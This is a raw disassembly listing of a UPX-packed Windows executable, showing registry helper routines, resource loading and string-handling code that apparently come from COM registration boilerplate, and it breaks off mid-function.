loc_4071B8: ; DATA XREF: UPX0:004240F0o
sub dword ptr [esp+4], 0Ch
jmp loc_405949
; ---------------------------------------------------------------------------
sub dword ptr [esp+4], 4
jmp loc_405939
; ---------------------------------------------------------------------------
loc_4071CC: ; DATA XREF: UPX0:00424188o
sub dword ptr [esp+4], 24h
jmp loc_405939
; ---------------------------------------------------------------------------
loc_4071D6: ; DATA XREF: UPX0:off_424160o
sub dword ptr [esp+4], 20h
jmp loc_405959
; ---------------------------------------------------------------------------
loc_4071E0: ; DATA XREF: UPX0:0042411Co
sub dword ptr [esp+4], 10h
jmp loc_405949
; ---------------------------------------------------------------------------
loc_4071EA: ; DATA XREF: UPX0:00424070o
sub dword ptr [esp+4], 8
jmp loc_405939
; ---------------------------------------------------------------------------
loc_4071F4: ; DATA XREF: UPX0:004241D8o
sub dword ptr [esp+4], 28h
jmp loc_405939
; ---------------------------------------------------------------------------
loc_4071FE: ; DATA XREF: sub_418A96+A9o
mov eax, [ecx]
jmp dword ptr [eax+14h]
; ---------------------------------------------------------------------------
sub dword ptr [esp+4], 4
jmp loc_405959
; ---------------------------------------------------------------------------
loc_40720D: ; DATA XREF: UPX0:off_424184o
sub dword ptr [esp+4], 24h
jmp loc_405959
; ---------------------------------------------------------------------------
loc_407217: ; DATA XREF: UPX0:00424138o
sub dword ptr [esp+4], 14h
jmp loc_405949
; ---------------------------------------------------------------------------
loc_407221: ; DATA XREF: UPX0:004240ECo
sub dword ptr [esp+4], 0Ch
jmp loc_405939
; ---------------------------------------------------------------------------
loc_40722B: ; DATA XREF: UPX0:off_42406Co
sub dword ptr [esp+4], 8
jmp loc_405959
; ---------------------------------------------------------------------------
loc_407235: ; DATA XREF: UPX0:off_4241D4o
sub dword ptr [esp+4], 28h
jmp loc_405959
; ---------------------------------------------------------------------------
loc_40723F: ; DATA XREF: UPX0:00424118o
sub dword ptr [esp+4], 10h
jmp loc_405939
; ---------------------------------------------------------------------------
loc_407249: ; DATA XREF: UPX0:off_4240E8o
sub dword ptr [esp+4], 0Ch
jmp loc_405959
; ---------------------------------------------------------------------------
loc_407253: ; DATA XREF: UPX0:00424154o
sub dword ptr [esp+4], 1Ch
jmp loc_405949
; =============== S U B R O U T I N E =======================================
sub_40725D proc near ; DATA XREF: UPX0:00424144o
sub ecx, 38h
jmp sub_405EED
sub_40725D endp
; ---------------------------------------------------------------------------
loc_407265: ; DATA XREF: UPX0:00424134o
sub dword ptr [esp+4], 14h
jmp loc_405939
; ---------------------------------------------------------------------------
loc_40726F: ; DATA XREF: UPX0:off_424114o
sub dword ptr [esp+4], 10h
jmp loc_405959
; ---------------------------------------------------------------------------
loc_407279: ; DATA XREF: UPX0:00424168o
sub dword ptr [esp+4], 20h
jmp loc_405949
; ---------------------------------------------------------------------------
loc_407283: ; DATA XREF: UPX0:off_424130o
sub dword ptr [esp+4], 14h
jmp loc_405959
; ---------------------------------------------------------------------------
sub dword ptr [esp+4], 4
jmp loc_405949
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407297 proc near ; CODE XREF: sub_40A2F3+99p
; sub_40A398+AEp
call dword_41D1D8 ; RtlGetLastWin32Error
test eax, eax
jle short loc_4072AB
and eax, 0FFFFh
or eax, 80070000h
loc_4072AB: ; CODE XREF: sub_407297+8j
push eax
call sub_4010D8
sub_407297 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
sub_4072B2 proc near ; CODE XREF: sub_407CD3+329p
; sub_4083DE:loc_408889p ...
test eax, eax
jle short locret_4072C0
and eax, 0FFFFh
or eax, 80070000h
locret_4072C0: ; CODE XREF: sub_4072B2+2j
retn
sub_4072B2 endp
; =============== S U B R O U T I N E =======================================
sub_4072C1 proc near ; CODE XREF: UPX0:00407406p
; UPX0:0041C89Bj
push ebx
push ebp
mov ebx, eax
push edi
lea edi, [ebx+4]
xor ebp, ebp
cmp [edi], ebp
jz short loc_407324
cmp [ebx+0Ch], ebp
jz short loc_40730B
cmp edi, ebp
jnz short loc_4072E7
push ebp
push ebp
push 1
push 0C0000005h
call dword_41D1DC ; RaiseException
loc_4072E7: ; CODE XREF: sub_4072C1+15j
push esi
mov esi, [edi+8]
cmp esi, ebp
jz short loc_407304
loc_4072EF: ; CODE XREF: sub_4072C1+41j
push dword ptr [esi+4]
call dword ptr [esi]
mov ebp, [esi+8]
push esi
call sub_40AC11
pop ecx
mov esi, ebp
test ebp, ebp
jnz short loc_4072EF
loc_407304: ; CODE XREF: sub_4072C1+2Cj
mov [edi+8], ebp
mov [ebx+0Ch], ebp
pop esi
loc_40730B: ; CODE XREF: sub_4072C1+11j
mov eax, [ebx+28h]
cmp eax, ebp
jz short loc_407318
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_407318: ; CODE XREF: sub_4072C1+4Fj
add ebx, 10h
push ebx
call dword_41D1C8 ; RtlDeleteCriticalSection
mov [edi], ebp
loc_407324: ; CODE XREF: sub_4072C1+Cj
pop edi
pop ebp
pop ebx
retn
sub_4072C1 endp
; =============== S U B R O U T I N E =======================================
sub_407328 proc near ; DATA XREF: UPX0:00424BB4o
add ecx, 8
push ecx
call dword_41D21C ; InterlockedIncrement
retn
sub_407328 endp
; =============== S U B R O U T I N E =======================================
sub_407333 proc near ; DATA XREF: UPX0:00424BB8o
add ecx, 8
push ecx
call dword_41D218 ; InterlockedDecrement
retn
sub_407333 endp
; =============== S U B R O U T I N E =======================================
sub_40733E proc near ; DATA XREF: UPX0:00424BBCo
mov eax, [ecx+8]
retn
sub_40733E endp
; =============== S U B R O U T I N E =======================================
sub_407342 proc near ; DATA XREF: UPX0:00424BC0o
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
jnz short loc_407352
mov eax, 80004003h
jmp short loc_407387
; ---------------------------------------------------------------------------
loc_407352: ; CODE XREF: sub_407342+7j
push esi
push edi
xor edi, edi
lea esi, [ecx+28h]
cmp [esi], edi
jnz short loc_407377
push esi
push offset dword_424CE4
push 1
push edi
push offset dword_41D450
call dword_41D398
mov edi, eax
test edi, edi
jl short loc_407383
loc_407377: ; CODE XREF: sub_407342+19j
mov eax, [esi]
mov [ebx], eax
mov esi, [esi]
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_407383: ; CODE XREF: sub_407342+33j
mov eax, edi
pop edi
pop esi
loc_407387: ; CODE XREF: sub_407342+Ej
pop ebx
retn 4
sub_407342 endp
; =============== S U B R O U T I N E =======================================
sub_40738B proc near ; CODE XREF: sub_4089CE+F7p
; sub_408BAA+EEp
push esi
push edi
mov esi, eax
xor edi, edi
dec esi
jz short loc_4073BB
loc_407394: ; CODE XREF: sub_40738B+2Ej
movzx eax, word ptr [edx]
test ax, ax
jz short loc_4073BB
mov [ecx], ax
inc ecx
inc ecx
cmp word ptr [edx], 27h
jnz short loc_4073B4
inc edi
cmp edi, esi
jnb short loc_4073B4
push 27h
pop eax
mov [ecx], ax
inc ecx
inc ecx
loc_4073B4: ; CODE XREF: sub_40738B+1Aj
; sub_40738B+1Fj
inc edx
inc edx
inc edi
cmp edi, esi
jb short loc_407394
loc_4073BB: ; CODE XREF: sub_40738B+7j
; sub_40738B+Fj
xor eax, eax
pop edi
mov [ecx], ax
pop esi
retn
sub_40738B endp
; ---------------------------------------------------------------------------
mov eax, 80004005h
retn 10h
; ---------------------------------------------------------------------------
push dword ptr [esp+0Ch]
mov ecx, [esp+14h]
push dword ptr [esp+0Ch]
push dword ptr [esp+0Ch]
call sub_4089CE
retn 10h
; ---------------------------------------------------------------------------
loc_4073E3: ; DATA XREF: UPX0:00424BD0o
push dword ptr [esp+0Ch]
mov ecx, [esp+14h]
push dword ptr [esp+0Ch]
push dword ptr [esp+0Ch]
call sub_408BAA
retn 10h
; ---------------------------------------------------------------------------
loc_4073FB: ; DATA XREF: UPX0:off_424BB0o
push esi
mov esi, ecx
mov eax, esi
mov dword ptr [esi], offset off_424BB0
call sub_4072C1
test byte ptr [esp+8], 1
jz short loc_407419
push esi
call sub_40AC11
pop ecx
loc_407419: ; CODE XREF: UPX0:00407410j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40741F: ; CODE XREF: UPX0:0041C373j
; UPX0:0041C37Ej
mov eax, [esi]
test eax, eax
jz short locret_40742F
push eax
call dword_41D000 ; RegCloseKey
and dword ptr [esi], 0
locret_40742F: ; CODE XREF: UPX0:00407423j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407430 proc near ; CODE XREF: sub_407CD3+188p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_407443
push 80004005h
call sub_4010D8
; ---------------------------------------------------------------------------
loc_407443: ; CODE XREF: sub_407430+7j
push esi
mov esi, [ebp+arg_8]
push edi
xor edi, edi
loc_40744A: ; CODE XREF: sub_407430+2Cj
push esi
call dword_41D1F0 ; lstrlenW
inc eax
lea ecx, [eax+eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jnz short loc_40744A
mov eax, [ebp+arg_0]
push edi
push [ebp+arg_8]
push 7
push 0
push [ebp+arg_4]
push dword ptr [eax]
call dword_41D018 ; RegSetValueExW
pop edi
pop esi
pop ebp
retn 0Ch
sub_407430 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40747A proc near ; CODE XREF: sub_40747A+B3p
; sub_4083DE+F6p ...
var_228 = byte ptr -228h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 228h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_8], eax
push ebx
push esi
push edi
lea edx, [ebp+var_214]
push edx
push 2001Fh
mov eax, ecx
mov ecx, [ebp+arg_0]
xor esi, esi
push esi
mov [ebp+var_220], eax
mov eax, [eax]
push ecx
push eax
mov [ebp+var_21C], ecx
mov [ebp+var_210], esi
mov [ebp+var_214], esi
call dword_41D010 ; RegOpenKeyExW
mov ebx, dword_41D000
mov edi, eax
cmp edi, esi
jnz loc_407597
xor eax, eax
cmp [ebp+var_210], esi
jz short loc_4074E8
push [ebp+var_210]
call ebx ; dword_41D000
loc_4074E8: ; CODE XREF: sub_40747A+64j
mov ecx, [ebp+var_214]
mov edi, eax
mov [ebp+var_210], ecx
cmp eax, esi
jnz loc_407597
mov edi, dword_41D014
lea eax, [ebp+var_228]
push eax
push esi
push esi
push esi
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_20C]
push eax
push esi
push ecx
jmp short loc_40755B
; ---------------------------------------------------------------------------
loc_407520: ; CODE XREF: sub_40747A+EFj
lea eax, [ebp+var_20C]
push eax
lea ecx, [ebp+var_210]
call sub_40747A
mov [ebp+var_214], eax
cmp eax, esi
jnz short loc_4075BA
lea eax, [ebp+var_228]
push eax
push esi
push esi
push esi
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_20C]
push eax
push esi
push [ebp+var_210]
loc_40755B: ; CODE XREF: sub_40747A+A4j
mov [ebp+var_218], 100h
call edi ; dword_41D014
test eax, eax
jz short loc_407520
cmp [ebp+var_210], esi
jz short loc_407581
push [ebp+var_210]
call ebx ; dword_41D000
mov [ebp+var_210], esi
loc_407581: ; CODE XREF: sub_40747A+F7j
push [ebp+var_21C]
mov eax, [ebp+var_220]
push dword ptr [eax]
call dword_41D008 ; RegDeleteKeyW
mov edi, eax
loc_407597: ; CODE XREF: sub_40747A+56j
; sub_40747A+7Ej
cmp [ebp+var_210], esi
jz short loc_4075A7
push [ebp+var_210]
call ebx ; dword_41D000
loc_4075A7: ; CODE XREF: sub_40747A+123j
mov eax, edi
loc_4075A9: ; CODE XREF: sub_40747A+156j
mov ecx, [ebp+var_8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn 4
; ---------------------------------------------------------------------------
loc_4075BA: ; CODE XREF: sub_40747A+C0j
cmp [ebp+var_210], esi
jz short loc_4075CA
push [ebp+var_210]
call ebx ; dword_41D000
loc_4075CA: ; CODE XREF: sub_40747A+146j
mov eax, [ebp+var_214]
jmp short loc_4075A9
sub_40747A endp
; =============== S U B R O U T I N E =======================================
sub_4075D2 proc near ; CODE XREF: sub_40783F+3Dp
push 20h
mov eax, offset loc_41C3C1
call sub_40C4A0
xor edi, edi
cmp [ebp+0Ch], edi
jz loc_4076F2
cmp [ebp+10h], edi
jz loc_4076F2
push dword ptr [ebp+0Ch]
mov [ebp-1Ch], edi
call dword_41D1F0 ; lstrlenW
push 2
lea eax, [eax+eax+2]
xor ecx, ecx
pop esi
mov [ebp-20h], eax
mov edx, esi
mul edx
seto cl
mov [ebp-14h], edi
mov [ebp-4], edi
neg ecx
or ecx, eax
push ecx
call sub_40AC06
pop ecx
mov [ebp-14h], eax
jmp short loc_407632
; ---------------------------------------------------------------------------
loc_407627: ; DATA XREF: UPX0:00427634o
mov eax, offset loc_40762D
retn
; ---------------------------------------------------------------------------
loc_40762D: ; DATA XREF: sub_4075D2:loc_407627o
push 2
xor edi, edi
pop esi
loc_407632: ; CODE XREF: sub_4075D2+53j
push dword ptr [ebp+10h]
mov [ebp-4], esi
mov eax, [ebp-14h]
mov [ebp-2Ch], eax
call dword_41D1F0 ; lstrlenW
lea eax, [eax+eax+2]
xor ecx, ecx
mov [ebp-24h], eax
mov edx, esi
mul edx
seto cl
mov [ebp-18h], edi
mov byte ptr [ebp-4], 3
neg ecx
or ecx, eax
push ecx
call sub_40AC06
pop ecx
mov [ebp-18h], eax
mov [ebp-4], esi
jmp short loc_40767D
; ---------------------------------------------------------------------------
loc_40766E: ; DATA XREF: UPX0:00427644o
mov dword ptr [ebp-4], 2
mov eax, offset loc_40767B
retn
; ---------------------------------------------------------------------------
loc_40767B: ; DATA XREF: sub_4075D2+A3o
xor edi, edi
loc_40767D: ; CODE XREF: sub_4075D2+9Aj
mov byte ptr [ebp-4], 5
mov esi, [ebp-18h]
mov [ebp-28h], esi
cmp [ebp-14h], edi
jz short loc_4076C7
cmp esi, edi
jz short loc_4076C7
push dword ptr [ebp-20h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp-20h]
push dword ptr [ebp-14h]
call sub_401125
; ---------------------------------------------------------------------------
push dword ptr [ebp-24h]
push dword ptr [ebp+10h]
push dword ptr [ebp-24h]
push esi
call sub_401125
; ---------------------------------------------------------------------------
mov esi, [ebp+8]
add esp, 20h
lea eax, [ebp-18h]
push eax
lea eax, [ebp-14h]
push eax
call sub_40A1BD
test eax, eax
jnz short loc_4076D0
loc_4076C7: ; CODE XREF: sub_4075D2+B8j
; sub_4075D2+BCj
mov dword ptr [ebp-1Ch], 8007000Eh
jmp short loc_4076D6
; ---------------------------------------------------------------------------
loc_4076D0: ; CODE XREF: sub_4075D2+F3j
mov [ebp-2Ch], edi
mov [ebp-28h], edi
loc_4076D6: ; CODE XREF: sub_4075D2+FCj
push dword ptr [ebp-28h]
call sub_40B36B
push dword ptr [ebp-2Ch]
call sub_40B36B
xor eax, eax
cmp [ebp-1Ch], edi
pop ecx
pop ecx
setnl al
jmp short loc_4076F4
; ---------------------------------------------------------------------------
loc_4076F2: ; CODE XREF: sub_4075D2+11j
; sub_4075D2+1Aj
xor eax, eax
loc_4076F4: ; CODE XREF: sub_4075D2+11Ej
call sub_40C50C
retn 0Ch
sub_4075D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4076FC proc near ; CODE XREF: sub_4077EF+28p
; sub_407A4C+13p
push esi
mov esi, eax
mov eax, [esi+8]
push edi
xor edi, edi
test eax, eax
jle short loc_407735
loc_407709: ; CODE XREF: sub_4076FC+37j
test edi, edi
jl short loc_40773F
cmp edi, eax
jge short loc_40773F
mov eax, [esi]
push dword ptr [eax+edi*4]
call sub_40B36B
pop ecx
mov eax, edi
mov ecx, esi
call sub_40A246
push dword ptr [eax]
call sub_40B36B
mov eax, [esi+8]
inc edi
cmp edi, eax
pop ecx
jl short loc_407709
loc_407735: ; CODE XREF: sub_4076FC+Bj
call sub_40A21F
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40773F: ; CODE XREF: sub_4076FC+Fj
; sub_4076FC+13j
push 0
push 0
push 1
push 0C000008Ch
call dword_41D1DC ; RaiseException
int 3 ; Trap to Debugger
loc_407751: ; CODE XREF: UPX0:0041C64Ej
push dword ptr [eax+8]
call dword_41D39C
retn
sub_4076FC endp
; =============== S U B R O U T I N E =======================================
sub_40775B proc near ; CODE XREF: sub_4080FF+A7p
; sub_4080FF+13Ep
arg_0 = dword ptr 4
mov eax, [esi]
lea ecx, [eax+edi+1]
cmp ecx, eax
jle short loc_4077E4
cmp ecx, edi
jle short loc_4077E4
cmp ecx, [esi+4]
jl short loc_4077A3
loc_40776E: ; CODE XREF: sub_40775B+24j
mov eax, [esi+4]
cmp eax, 3FFFFFFFh
jg short loc_4077E4
add eax, eax
cmp ecx, eax
mov [esi+4], eax
jge short loc_40776E
mov ecx, [esi+8]
push 2
pop edx
mul edx
test edx, edx
ja short loc_4077E4
jb short loc_407794
cmp eax, 0FFFFFFFFh
ja short loc_4077E4
loc_407794: ; CODE XREF: sub_40775B+32j
push eax
push ecx
call dword_41D3C4
test eax, eax
jz short loc_4077E4
mov [esi+8], eax
loc_4077A3: ; CODE XREF: sub_40775B+11j
mov eax, [esi]
test eax, eax
jl short loc_4077E4
mov edx, [esi+4]
cmp eax, edx
jge short loc_4077E4
mov ecx, edx
sub ecx, eax
cmp ecx, edx
jg short loc_4077E4
lea edx, [edi+edi]
push edx
push [esp+4+arg_0]
add ecx, ecx
push ecx
mov ecx, [esi+8]
lea eax, [ecx+eax*2]
push eax
call sub_401125
; ---------------------------------------------------------------------------
add [esi], edi
mov eax, [esi]
mov ecx, [esi+8]
xor edx, edx
mov [ecx+eax*2], dx
xor eax, eax
add esp, 10h
inc eax
jmp short locret_4077E6
; ---------------------------------------------------------------------------
loc_4077E4: ; CODE XREF: sub_40775B+8j
; sub_40775B+Cj ...
xor eax, eax
locret_4077E6: ; CODE XREF: sub_40775B+87j
retn 4
sub_40775B endp
; =============== S U B R O U T I N E =======================================
sub_4077E9 proc near ; DATA XREF: UPX0:00424BE0o
xor eax, eax
inc eax
retn 4
sub_4077E9 endp
; =============== S U B R O U T I N E =======================================
sub_4077EF proc near ; CODE XREF: sub_407823+3p
; sub_4089CE+6Cp ...
push esi
mov esi, ecx
push esi
mov dword ptr [esi], offset off_424BDC
call sub_407A4C
lea eax, [esi+10h]
cmp byte ptr [eax+18h], 0
jz short loc_407812
push eax
mov byte ptr [eax+18h], 0
call dword_41D1C8 ; RtlDeleteCriticalSection
loc_407812: ; CODE XREF: sub_4077EF+16j
add esi, 4
mov eax, esi
call sub_4076FC
call sub_40A21F
pop esi
retn
sub_4077EF endp
; =============== S U B R O U T I N E =======================================
sub_407823 proc near ; DATA XREF: UPX0:00424BF0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4077EF
test [esp+4+arg_0], 1
jz short loc_407839
push esi
call sub_40AC11
pop ecx
loc_407839: ; CODE XREF: sub_407823+Dj
mov eax, esi
pop esi
retn 4
sub_407823 endp
; =============== S U B R O U T I N E =======================================
sub_40783F proc near ; CODE XREF: sub_4089CE+95p
; sub_4089CE+174p ...
push 0
mov eax, offset loc_41C5CF
call sub_40C46D
cmp dword ptr [ebp+0Ch], 0
jz short loc_40789E
cmp dword ptr [ebp+10h], 0
jz short loc_40789E
mov esi, [ebp+8]
lea edi, [esi+10h]
push edi
call dword_41D1CC ; RtlEnterCriticalSection
call off_42A000
and dword ptr [ebp+8], 0
push dword ptr [ebp+10h]
and dword ptr [ebp-4], 0
push dword ptr [ebp+0Ch]
add esi, 4
push esi
call sub_4075D2
push edi
mov esi, eax
call dword_41D204 ; RtlLeaveCriticalSection
neg esi
sbb esi, esi
and esi, 7FF8FFF2h
add esi, 8007000Eh
mov eax, esi
jmp short loc_4078A3
; ---------------------------------------------------------------------------
loc_40789E: ; CODE XREF: sub_40783F+10j
; sub_40783F+16j
mov eax, 80070057h
loc_4078A3: ; CODE XREF: sub_40783F+5Dj
call sub_40C50C
retn 0Ch
sub_40783F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=408h
sub_4078AB proc near ; CODE XREF: sub_4089CE+1D2p
; sub_408BAA+1B8p
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_414 = dword ptr -414h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
sub esp, 404h
lea ebp, [esp-4]
mov eax, dword_42A034
xor eax, ebp
mov [ebp+408h+var_4], eax
push 1Ch
mov eax, offset loc_41C690
call sub_40C4A0
mov eax, [ebp+414h]
mov edi, ecx
mov ebx, edx
mov [ebp+408h+var_41C], eax
call off_42A000
xor esi, esi
mov [ebp+408h+var_430], esi
mov eax, [ebp+410h]
mov [ebp+408h+var_40C], esi
mov [ebp+408h+var_428], eax
mov [ebp+408h+var_42C], esi
mov [ebp+408h+var_408], esi
push 2
push esi
push edi
mov byte ptr [ebp+408h+var_40C], 1
call dword_41D068 ; LoadLibraryExW
mov [ebp+408h+var_420], eax
cmp eax, esi
jnz short loc_40791A
call sub_40119F
mov esi, eax
jmp loc_407A15
; ---------------------------------------------------------------------------
loc_40791A: ; CODE XREF: sub_4078AB+61j
push [ebp+408h+var_41C]
push ebx
push eax
call dword_41D108 ; FindResourceW
mov edi, eax
cmp edi, esi
jnz short loc_407935
loc_40792B: ; CODE XREF: sub_4078AB+99j
; sub_4078AB+13Fj
call sub_40119F
jmp loc_407A0A
; ---------------------------------------------------------------------------
loc_407935: ; CODE XREF: sub_4078AB+7Ej
push edi
push [ebp+408h+var_420]
call dword_41D060 ; LoadResource
mov [ebp+408h+var_424], eax
cmp eax, esi
jz short loc_40792B
push edi
push [ebp+408h+var_420]
call dword_41D088 ; SizeofResource
mov edi, eax
lea eax, [edi+1]
mov [ebp+408h+var_41C], edi
cmp eax, edi
jnb short loc_407976
lea eax, [ebp+408h+var_404]
cmp [ebp+408h+var_408], eax
jz short loc_40796C
lea eax, [ebp+408h+var_408]
call sub_40A2EA
loc_40796C: ; CODE XREF: sub_4078AB+B7j
mov eax, 8007000Eh
jmp loc_407A27
; ---------------------------------------------------------------------------
loc_407976: ; CODE XREF: sub_4078AB+AFj
push 2
pop ecx
mul ecx
mov byte ptr [ebp+408h+var_40C], 2
cmp edx, esi
ja short loc_407988
cmp eax, 0FFFFFFFFh
jbe short loc_407992
loc_407988: ; CODE XREF: sub_4078AB+D6j
push 80070057h
call sub_4010D8
; ---------------------------------------------------------------------------
loc_407992: ; CODE XREF: sub_4078AB+DBj
cmp eax, 400h
jbe short loc_4079B9
push eax
lea eax, [ebp+408h+var_408]
push eax
call sub_40A495
jmp short loc_4079BF
; ---------------------------------------------------------------------------
loc_4079A5: ; DATA XREF: UPX0:00427B44o
mov [ebp+408h+var_40C], 1
mov eax, offset loc_4079B2
retn
; ---------------------------------------------------------------------------
loc_4079B2: ; DATA XREF: sub_4078AB+101o
mov edi, [ebp+408h+var_41C]
xor esi, esi
jmp short loc_4079C6
; ---------------------------------------------------------------------------
loc_4079B9: ; CODE XREF: sub_4078AB+ECj
lea eax, [ebp+408h+var_404]
mov [ebp+408h+var_408], eax
loc_4079BF: ; CODE XREF: sub_4078AB+F8j
mov [ebp+408h+var_40C], 1
loc_4079C6: ; CODE XREF: sub_4078AB+10Cj
mov ebx, [ebp+408h+var_408]
cmp ebx, esi
jnz short loc_4079D4
mov esi, 8007000Eh
jmp short loc_407A0C
; ---------------------------------------------------------------------------
loc_4079D4: ; CODE XREF: sub_4078AB+120j
call off_42A000
push edi
push ebx
push edi
push [ebp+408h+var_424]
push esi
push eax
call dword_41D1F4 ; MultiByteToWideChar
cmp eax, esi
jz loc_40792B
mov edx, [ebp+408h+var_408]
push dword ptr [ebp+418h]
xor ecx, ecx
mov [edx+eax*2], cx
mov ecx, [ebp+408h+var_408]
lea edx, [ebp+408h+var_42C]
call sub_408297
loc_407A0A: ; CODE XREF: sub_4078AB+85j
mov esi, eax
loc_407A0C: ; CODE XREF: sub_4078AB+127j
push [ebp+408h+var_420]
call dword_41D05C ; FreeLibrary
loc_407A15: ; CODE XREF: sub_4078AB+6Aj
lea eax, [ebp+408h+var_404]
cmp [ebp+408h+var_408], eax
jz short loc_407A25
lea eax, [ebp+408h+var_408]
call sub_40A2EA
loc_407A25: ; CODE XREF: sub_4078AB+170j
mov eax, esi
loc_407A27: ; CODE XREF: sub_4078AB+C6j
mov ecx, [ebp+408h+var_414]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+408h+var_4]
xor ecx, ebp
call sub_40AC1C
add ebp, 408h
leave
retn 0Ch
sub_4078AB endp
; =============== S U B R O U T I N E =======================================
sub_407A4C proc near ; CODE XREF: sub_4077EF+Ap
; DATA XREF: UPX0:00424BECo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+10h]
push edi
call dword_41D1CC ; RtlEnterCriticalSection
lea eax, [esi+4]
call sub_4076FC
push edi
mov esi, eax
call dword_41D204 ; RtlLeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn 4
sub_407A4C endp
; =============== S U B R O U T I N E =======================================
sub_407A74 proc near ; CODE XREF: sub_4080FF+118p
arg_0 = dword ptr 4
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi+10h]
push ebx
call dword_41D1CC ; RtlEnterCriticalSection
add esi, 4
xor edi, edi
cmp [esi+8], edi
jle short loc_407AA7
loc_407A8D: ; CODE XREF: sub_407A74+31j
mov eax, [esi]
push [esp+0Ch+arg_0]
mov eax, [eax+edi*4]
push eax
call dword_41D0A0 ; lstrcmpiW
test eax, eax
jz short loc_407AB3
inc edi
cmp edi, [esi+8]
jl short loc_407A8D
loc_407AA7: ; CODE XREF: sub_407A74+17j
or eax, 0FFFFFFFFh
loc_407AAA: ; CODE XREF: sub_407A74+41j
cmp eax, 0FFFFFFFFh
jnz short loc_407AB7
xor esi, esi
jmp short loc_407AC0
; ---------------------------------------------------------------------------
loc_407AB3: ; CODE XREF: sub_407A74+2Bj
mov eax, edi
jmp short loc_407AAA
; ---------------------------------------------------------------------------
loc_407AB7: ; CODE XREF: sub_407A74+39j
mov ecx, esi
call sub_40A246
mov esi, [eax]
loc_407AC0: ; CODE XREF: sub_407A74+3Dj
push ebx
call dword_41D204 ; RtlLeaveCriticalSection
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_407A74 endp
; =============== S U B R O U T I N E =======================================
sub_407ACF proc near ; CODE XREF: sub_407CD3+7Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
test byte ptr dword_42F108, 1
jnz short loc_407B2D
or dword_42F108, 1
push 8
pop eax
mov word_42F0EC, ax
mov eax, 4008h
push 13h
mov word_42F0F4, ax
pop eax
push 11h
mov word_42F0FC, ax
pop eax
mov dword_42F0E8, offset dword_41EF48
mov dword_42F0F0, offset dword_41EF50
mov dword_42F0F8, offset dword_41EF58
mov dword_42F100, offset dword_41EF60
mov word_42F104, ax
loc_407B2D: ; CODE XREF: sub_407ACF+7j
push esi
xor esi, esi
loc_407B30: ; CODE XREF: sub_407ACF+7Aj
push dword_42F0E8[esi*8]
push [esp+8+arg_0]
call dword_41D0A0 ; lstrcmpiW
test eax, eax
jz short loc_407B4F
inc esi
cmp esi, 4
jb short loc_407B30
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_407B4F: ; CODE XREF: sub_407ACF+74j
mov ax, word_42F0EC[esi*8]
mov ecx, [esp+4+arg_4]
mov [ecx], ax
xor eax, eax
inc eax
pop esi
retn
sub_407ACF endp
; =============== S U B R O U T I N E =======================================
sub_407B63 proc near ; CODE XREF: sub_4080FF+E3p
; sub_4083DE+D1p ...
arg_0 = word ptr 4
push esi
xor esi, esi
test eax, eax
jnz short loc_407B7A
pop esi
retn
; ---------------------------------------------------------------------------
loc_407B6C: ; CODE XREF: sub_407B63+1Dj
cmp cx, [esp+4+arg_0]
jz short loc_407B84
push eax
call dword_41D31C ; CharNextW
loc_407B7A: ; CODE XREF: sub_407B63+5j
movzx ecx, word ptr [eax]
test cx, cx
jnz short loc_407B6C
jmp short loc_407B86
; ---------------------------------------------------------------------------
loc_407B84: ; CODE XREF: sub_407B63+Ej
mov esi, eax
loc_407B86: ; CODE XREF: sub_407B63+1Fj
mov eax, esi
pop esi
retn
sub_407B63 endp
; =============== S U B R O U T I N E =======================================
sub_407B8A proc near ; CODE XREF: sub_407B8A+22j
; sub_407BAF+Bp ...
mov eax, [esi]
movzx ecx, word ptr [eax]
cmp ecx, 9
jl short locret_407BAE
cmp ecx, 0Ah
jle short loc_407BA3
cmp ecx, 0Dh
jz short loc_407BA3
cmp ecx, 20h
jnz short locret_407BAE
loc_407BA3: ; CODE XREF: sub_407B8A+Dj
; sub_407B8A+12j
push eax
call dword_41D31C ; CharNextW
mov [esi], eax
jmp short sub_407B8A
; ---------------------------------------------------------------------------
locret_407BAE: ; CODE XREF: sub_407B8A+8j
; sub_407B8A+17j
retn
sub_407B8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BAF proc near ; CODE XREF: sub_407CD3+67p
; sub_407CD3+A1p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
